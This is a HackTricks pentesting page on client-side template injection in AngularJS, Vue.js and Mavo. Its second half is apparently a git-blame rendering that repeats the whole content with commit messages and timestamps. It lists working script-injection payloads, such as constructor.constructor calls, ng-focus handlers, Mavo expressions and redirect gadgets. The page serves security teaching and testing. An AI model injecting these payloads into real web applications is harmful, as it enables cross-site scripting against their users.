hacktricks/pentesting-web/client-side-template-injection-csti.md



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# Summary

It is like a [**Server Side Template Injection**](ssti-server-side-template-injection/) but in the **client**. The **SSTI** can allow you to **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim.

The way to **test** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter is going to expect something to execute **between doubles keys** and will execute it. For example using something like: `{{ 7-7 }}` if the server is **vulnerable** you will see a `0` and if not you will see the original: `{{ 7-7 }}`

# AngularJS

AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the **`ng-app`** attribute (also known as an AngularJS directive). When a directive is added to the HTML code, **you can execute JavaScript expressions within double curly braces**.\
For example, if your **input** is being **reflected** inside the **body** of the HTML and the body is defined with `ng-app`:  **`<body ng-app>`**

You can **execute arbitrary JavaScript** code using curly braces **adding** to the **body**: 

```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```

You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 

{% hint style="danger" %}
[**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `<input ng-focus=$event.view.alert('XSS')>` should work.
{% endhint %}

# VueJS

You can find a **vulnerable vue.js** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)

And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)

```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```

A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

## **V3**

```
{{_openBlock.constructor('alert(1)')()}}
```

Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

## **V2**

```
{{constructor.constructor('alert(1)')()}}
```

Credit: [Mario Heiderich](https://twitter.com/cure53berlin)

**Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)

# Mavo

Payload:

```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```

**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)

# **Brute-Force Detection List**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}


<details>

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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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</details>
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			`<details>`

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arte 2024-01-08 11:25:42 +00:00			`Other ways to support HackTricks:`
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			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter 🐦 [@carlospolopm](https://twitter.com/carlospolopm).`
			`* Share your hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
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			`</details>`


fix mess 2022-05-01 12:41:36 +00:00			`# Summary`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
Update client-side-template-injection-csti.md 2022-06-04 18:49:22 +00:00			`It is like a [Server Side Template Injection](ssti-server-side-template-injection/) but in the client. The SSTI can allow you to execute code on the remote server, the CSTI could allow you to execute arbitrary JavaScript code in the victim.`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			The way to test for this vulnerability is very similar as in the case of SSTI, the interpreter is going to expect something to execute between doubles keys and will execute it. For example using something like: `{{ 7-7 }}` if the server is vulnerable you will see a `0` and if not you will see the original: `{{ 7-7 }}`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
fix mess 2022-05-01 12:41:36 +00:00			`# AngularJS`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
fix bad chars 2022-04-05 22:24:52 +00:00			AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the `ng-app` attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces.\
GitBook: [#2876] save 2021-11-30 16:46:07 +00:00			For example, if your input is being reflected inside the body of the HTML and the body is defined with `ng-app`: `<body ng-app>`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
fix bad chars 2022-04-05 22:24:52 +00:00			`You can execute arbitrary JavaScript code using curly braces adding to the body:`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```javascript
			`{{$on.constructor('alert(1)')()}}`
			`{{constructor.constructor('alert(1)')()}}`
GitBook: [master] 2 pages modified 2021-06-29 12:49:13 +00:00			`<input ng-focus=$event.view.alert('XSS')>`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`<!-- Google Research - AngularJS -->`
			`<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>`
			```

fix bad chars 2022-04-05 22:24:52 +00:00			`You can find a very basic online example of the vulnerability in AngularJS in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [master] 2 pages modified 2021-06-29 12:49:13 +00:00			`{% hint style="danger" %}`
fix bad chars 2022-04-05 22:24:52 +00:00			[Angular 1.6 removed the sandbox](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `<input ng-focus=$event.view.alert('XSS')>` should work.
GitBook: [master] 2 pages modified 2021-06-29 12:49:13 +00:00			`{% endhint %}`

fix mess 2022-05-01 12:41:36 +00:00			`# VueJS`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`You can find a vulnerable vue.js implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\`
			Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`And the source code of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)`

			```markup
			`<!-- Google Research - Vue.js-->`
			"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
			```

Update client-side-template-injection-csti.md 2022-10-09 21:49:18 +00:00			`A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)`
GitBook: [#2851] update vue 2021-11-22 11:32:00 +00:00
fix mess 2022-05-01 12:41:36 +00:00			`## V3`
GitBook: [master] 2 pages modified 2021-02-25 11:39:28 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			```
GitBook: [master] 2 pages modified 2021-02-25 11:39:28 +00:00			`{{_openBlock.constructor('alert(1)')()}}`
			```

			`Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)`

fix mess 2022-05-01 12:41:36 +00:00			`## V2`
GitBook: [master] 2 pages modified 2021-02-25 11:39:28 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			```
GitBook: [master] 2 pages modified 2021-02-25 11:39:28 +00:00			`{{constructor.constructor('alert(1)')()}}`
			```

			`Credit: [Mario Heiderich](https://twitter.com/cure53berlin)`

fix bad chars 2022-04-05 22:24:52 +00:00			`Check more VUE payloads in [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)`
GitBook: [#2851] update vue 2021-11-22 11:32:00 +00:00
fix mess 2022-05-01 12:41:36 +00:00			`# Mavo`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
fix bad chars 2022-04-05 22:24:52 +00:00			`Payload:`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			```
GitBook: [master] 3 pages modified 2021-06-25 16:39:43 +00:00			`[7*7]`
			`[(1,alert)(1)]`
			`<div mv-expressions="{{ }}">{{top.alert(1)}}</div>`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			`[self.alert(1)]`
GitBook: [master] 2 pages modified 2021-02-25 11:39:28 +00:00			`javascript:alert(1)%252f%252f..%252fcss-images`
			`[Omglol mod 1 mod self.alert (1) andlol]`
GitBook: [master] 3 pages modified 2021-06-25 16:39:43 +00:00			`[''=''or self.alert(lol)]`
			`<a data-mv-if='1 or self.alert(1)'>test</a>`
			`<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>`
			`<a href=[javascript&':alert(1)']>test</a>`
			`[self.alert(1)mod1]`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			```

fix bad chars 2022-04-05 22:24:52 +00:00			`More payloads in [https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
fix mess 2022-05-01 12:41:36 +00:00			`# Brute-Force Detection List`
GitBook: [master] 10 pages modified 2021-06-27 21:56:13 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00

			`<details>`

arte 2024-01-08 11:25:42 +00:00			`<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
arte 2024-01-08 11:25:42 +00:00			`Other ways to support HackTricks:`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
arte 2024-01-08 11:25:42 +00:00			`* If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter 🐦 [@carlospolopm](https://twitter.com/carlospolopm).`
			`* Share your hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
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			`</details>`